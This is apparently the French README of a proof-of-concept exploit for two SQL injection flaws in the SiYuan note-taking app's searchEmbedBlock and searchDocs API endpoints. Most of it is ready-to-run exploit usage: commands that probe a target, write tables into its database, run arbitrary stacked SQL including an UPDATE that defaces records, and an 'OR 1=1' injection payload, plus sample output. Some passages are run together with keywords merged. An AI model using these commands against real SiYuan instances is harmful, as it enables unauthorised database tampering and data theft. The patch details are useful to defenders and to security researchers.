
CVE-2026-69084/69085 — Exécution SQL arbitraire dans SiYuan via searchEmbedBlock + injection SQL searchDocs (CVSS 9.9). Vérifié sur v3.7.2, rejeté sur v3.7.3.
CVE-2026-69084 : Exécution SQL arbitraire via /api/search/searchEmbedBlock
CVE-2026-69085 : Injection SQL via /api/filetree/searchDocs
CVSS 9.9 (Critique) chacune · CWE-89 · SiYuan <= v3.7.2 (corrigé dans v3.7.3)
Publié le 2026-08-03 · aucun PoC public au moment de la publication
SiYuan (application open-source de prise de notes, github.com/siyuan-note/siyuan) expose
deux points de terminaison API qui transmettent du SQL contrôlé par l'attaquant à sa base de données SQLite :
CVE-2026-69084 — /api/search/searchEmbedBlock :
Le paramètre stmt est passé tel quel au gestionnaire principal en lecture-écriture
siyuan.db sans aucune restriction de requête unique ou de lecture seule. Le
pilote SQLite exécute des instructions empilées (séparées par des points-virgules), donc
un attaquant peut / / / / n'importe quoi dans
la base de données. Protégé uniquement par — accessible avec un
jeton RoleReader de publication, ou anonymement lorsque le mode publication a
.
CREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs :
Le paramètre keyword est concaténé directement dans le SQL sans échappement
ni liaison de paramètres.
Les deux ont été corrigés dans v3.7.3 via sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. Sonde non destructive (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. Preuve d'écriture en base : CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Exécution de SQL arbitraire (instructions empilées prises en charge)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. SQLi searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Si l'instance s'exécute avec le mode publication activé et l'authentification désactivée
(Publish.Auth.Enable=false), aucun --auth n'est nécessaire.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepté (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepté (blocks: 0)
[+] PREUVE D'ÉCRITURE EN BASE TERMINÉE — table pwn_69084 + ligne 31337 dans siyuan.db
# Sur l'hôte :
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
v3.7.3 corrigée rejette les mêmes requêtes :
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT unique fonctionne toujours (fonctionnalité légitime préservée)Le PoC Python effectue une connexion de session (/api/system/loginAuth) pour obtenir
le cookie d'authentification, puis envoie une requête POST au point de terminaison vulnérable. Testé contre
b3log/siyuan:v3.7.2 (vulnérable) et b3log/siyuan:v3.7.3 (corrigée).
Publish.Auth.Enable=true et
utilisez des jetons RoleReader forts.À des fins de tests de sécurité autorisés et d'éducation uniquement.